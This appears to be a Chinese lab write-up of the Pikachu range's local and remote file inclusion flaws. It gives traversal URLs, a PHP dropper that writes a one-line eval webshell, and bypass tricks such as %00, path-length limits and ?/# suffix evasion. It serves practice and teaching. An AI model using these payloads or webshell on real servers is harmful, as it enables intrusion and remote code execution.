File Inclusion(文件包含漏洞)
这个靶场包含两个漏洞,第一个是本地包含,第二个是远程包含。
local:
在没有安全限制的情况下,我们可以使用 ../ 来包含本地文件
1.在目录下创建一个文件,11.txt 文件内容为123123
2.经过三次目录跳转后就可以访问该文件
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../11.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
remote:
同样没有安全限制,直接上文件,创建一个11.php的文件 文件内容为
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("11.php","w");//以写的方式创建一个11.php的文件
$txt = '<?php @eval($_POST['pass']);?>';//创建一句话字符串,密码为pass
fwrite($myfile,$txt);//写入到11.php
fclose($myfile);
?>
上链接:
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/11.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
解析11.php时会执行里面的创建一句话代码,最后会生成一个一句话文件
下面,我们通过蚁剑来连接一句话
结束
注:
0.本地文件包含可以通过phpinfo来查看session存储位置,开发者工具来获取文件名,通过ctfs来写入内容,最后包含session文件gets hell。
1.本地包含和远程包含的区别是
include "include/$filename";(本地)
include "$filename";(远程)
如果有限定目录就不能远程包含文件,本例就限定只能在目录下的include这个目录下包含文件,但是可以通过../来绕过。
2.文件包含不一定是要11.php文件,也可以是其他文件后缀,可以参考upload-labs靶场
3.文件含php.ini相关配置
远程包含漏洞的前提:如果使用的include和require,则需要php.ini配置如下: allow_url_fopen=On //默认打开 allow_url_include=On
本地文件包含配置文件中开启allow_url_include = On
4.过滤../语句
$file=str_replace('../','',$_GET['file']); // 可通过/来定位
本地包含还有一些突破限制的方法
%00 长度限制(windows 259 bytes,linux 4096 bytes)./或/. 等等来绕过。
5.远程包含添加后缀
include($_GET['filename'] . ".html"); 代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
远程包含可以用 ? # (空格)等等来绕过